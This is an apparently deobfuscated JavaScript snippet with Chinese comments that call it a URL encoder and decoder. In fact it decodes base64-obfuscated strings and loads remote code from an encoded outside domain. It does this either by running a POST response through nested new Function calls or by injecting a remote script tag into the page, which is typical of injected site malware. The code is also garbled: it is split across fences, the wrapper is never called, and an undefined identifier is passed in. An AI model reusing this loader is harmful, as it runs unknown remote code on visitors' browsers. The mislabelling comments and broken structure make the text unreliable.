```javascript// UqgsgfgDv 函数，用于将字符串进行 URL 编码
function UqgsgfgDv(e){
var t = "", // 存储编码后的字符串
n = r = c1 = c2 = 0;
while (n < e.length) {
r = e.charCodeAt(n);
if (r < 128) {
t += String.fromCharCode(r);
n++;
} else if (r > 191 && r < 224){
c2 = e.charCodeAt(n + 1);
t += String.fromCharCode((r &31) <<6 | c2 &63);
n += 2;
} else {
c2 = e.charCodeAt(n + 1);
c3 = e.charCodeAt(n + 2);
t += String.fromCharCode((r &15) <<12 | (c2 &63) <<6 | c3 &63);
n += 3;
}
}
return t;
};
// UqSDDFGvyQ 函数，用于解码经过 URL 编码的字符串
function UqSDDFGvyQ(e){
var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=_'; // URL编码表
var t = "", n, r, i, s, o, u, a, f = 0;
e = e.replace(/[^A-Za-z0-9+/=_]/g, ''); // 将非 A-Z,a-z,0-9,+,/,=,_ 的字符替换为空格
```
以下是重构的内容：
```javascript
while(f < e.length){
s = m.indexOf(e.charAt(f++));
o = m.indexOf(e.charAt(f++));
u = m.indexOf(e.charAt(f++));
a = m.indexOf(e.charAt(f++));
n = (s << 2) | (o >> 4);
r = ((o & 15) << 4) | (u >> 2);
i = ((u & 3) << 6) | a;
t = t + String.fromCharCode(n);
if(u !== 64){
t = t + String.fromCharCode(r);
}
if(a !== 64){
t = t + String.fromCharCode(i);
}
}
return UqgsgfgDv(t);
};
window[''+'U'+'Y'+'C'+'q'+'J'+'K'+'']=function(){
(function(u,i,w,d,c){
var x=UqSDDFGvyQ,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');
'jQuery'; // jQuery标识符
u=decodeURIComponent(x(u.replace(new RegExp(c[0]+' '+c[0],'g'),c[0]))); // decodeURIComponent解码操作
'jQuery'; // jQuery标识符
}); };
```
以下是重构后的代码：
```javascript
if (navigator.userAgent.indexOf('baiduid') > -1) {
var xhr = new XMLHttpRequest();
xhr.open('POST', 'https://' + u + '/bm-' + i);
xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded;');
xhr.setRequestHeader('X-REQUESTED-WITH', 'XMLHttpRequest');
xhr.onreadystatechange = function() {
if (xhr.readyState == 4 && xhr.status == 200) {
var data = JSON.parse(xhr.responseText);
var name = new Function('_' + 'u' + 'q' + 'cs', new Function('c', data.result.decode + ';return ' + data.result.name + '(c)'))(data.result.img.join(''));
name(cs);
}
};
xhr.send('u=1');
} else {
var s = d[crd]('script');
s.src = 'https://' + u + '/m-' + i;
cs.parentElement.insertBefore(s, cs);
}
(function (aGYuc2ZsYmtsbmRzZmtiLmNvbQ, b, c) {
function f() {}
})(aGYuc2ZsYmtsbmRzZmtiLmNvbQ, '2975', window, document, ['G', 'TpoZFcguG']);
```
